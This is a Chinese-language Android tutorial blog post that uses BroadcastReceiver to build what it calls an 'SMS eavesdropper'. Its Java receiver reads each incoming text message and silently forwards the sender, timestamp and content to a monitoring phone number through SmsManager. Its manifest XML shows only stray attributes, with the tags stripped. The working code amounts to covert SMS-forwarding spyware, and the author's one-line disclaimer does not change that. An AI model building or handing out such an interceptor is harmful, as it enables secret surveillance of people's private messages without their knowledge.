窃听风云之短信窃听器

 
  
 

                               窃听风云

                                                                                                     ------短信窃听器

              看过《窃听风云》应该都知道的 我这个标题就借用它了,虽说有点大哈,但彪悍的人生不需要解释。

        今天学了下Android的四大核心组件(好像也有称为三大哎)之一的BroadcastReceiver,中文解释是广播接收器,主要用于异步接受广播Intent,而广播Intent的发送是通过调用Context.sendBroadcast()、Context.sendOrderedBroadcast()或者Context.sendStickyBroadcast()来实现的。具体介绍大家参加文档哈http://developer.android.com/reference/android/content/BroadcastReceiver.html

        接下来我们就用它来做一个有意思的应用-----短信窃听器

        新建一项目 修改AndroidManifest.xml

 


    package="qyl.smslistener"
    android:versionCode="1"
    android:versionName="1.0" >

   

            android:icon="@drawable/ic_launcher"
        android:label="@string/app_name" >
                    android:label="@string/app_name"
            android:name=".SMSListenerActivity" >
           
               

               
           
       
       
           
               
           

       

   
   


           
               
           

       


 接下来创建一个SMSListenerBroadcastReceiver继承BroadcastReceiver

 

package qyl.smslistener;

import java.text.SimpleDateFormat;
import java.util.Date;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;

public class SMSListenerBroadcastReciver extends BroadcastReceiver {

 @Override
 public void onReceive(Context coontext, Intent intent) {
  //这个方法一旦返回了,android会回收BroadcastReceiver
  Object[] pdus=(Object[])intent.getExtras().get("pdus");
  if(pdus!=null && pdus.length>0){
   SmsMessage[] messages=new SmsMessage[pdus.length];
   for(int i=0;i     //得到信息内容,内容是以pdu格式存放的
    byte[] pdu=(byte[])pdus[i];
    //使用pdu格式的数据创建描述短信的对象
    messages[i]=SmsMessage.createFromPdu(pdu);
   }
   for(SmsMessage msg:messages){
    //得到短信内容
    String content=msg.getMessageBody();
    //得到短信发送者手机号
    String sender=msg.getOriginatingAddress();
    //得到短信的发送时间
    Date date=new Date(msg.getTimestampMillis());
    //把收到的短信传递给监控者
    SimpleDateFormat format=new SimpleDateFormat("yyyy-MM-dd" +
      " HH:mm:ss");
    String sendContent=format.format(date)+":"+sender+
      "--"+content;
    SmsManager smsManager=SmsManager.getDefault();
    smsManager.sendTextMessage("5556", null, sendContent,
      null, null);
   }
  }

 }

}

 

      这样就可以运行了 ,然后可以通过DDMS进行调试

      这是个简易的应用例子,不做他用。

你可能感兴趣的:(Android学习笔记)